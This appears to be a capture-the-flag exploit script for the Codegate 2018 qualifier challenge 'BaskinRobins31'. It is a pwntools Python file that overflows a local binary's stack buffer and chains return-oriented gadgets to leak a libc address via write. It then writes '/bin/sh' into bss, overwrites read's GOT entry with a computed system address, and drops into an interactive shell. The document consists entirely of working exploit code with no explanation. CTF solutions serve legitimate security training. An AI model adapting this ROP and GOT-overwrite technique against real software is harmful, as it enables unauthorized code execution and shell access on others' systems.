Codegate 2018 CTF Quals BaskinRobins31

exploit.py

from pwn import *

p = process("./baskin")

write_plt = 0x4006d0
pppr = 0x40087a
read_plt = 0x400700
read_got = 0x602040
bss = 0x0000000000602090
distance = 0x7f01512ac070 - 0x7f01511eb440
binsh="/bin/sh\x00"

payload = "A"*(0xb0+8)
payload += p64(pppr)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_plt)

payload += p64(pppr)
payload += p64(0)
payload += p64(bss)
payload += p64(len(binsh))
payload += p64(read_plt)

payload += p64(pppr)
payload += p64(0)
payload += p64(read_got)
payload += p64(8)
payload += p64(read_plt)

payload += p64(pppr)
payload += p64(bss)
payload += "A"*16
payload += p64(read_plt)

print p.recvuntil("(1-3)\n")

p.sendline(payload)
print p.recvuntil("Don't break the rules...:( \n")

read = u64(p.recv(8))
system = p64(read-distance)
p.send(binsh)
sleep(0.5)
p.sendline(system)
p.interactive()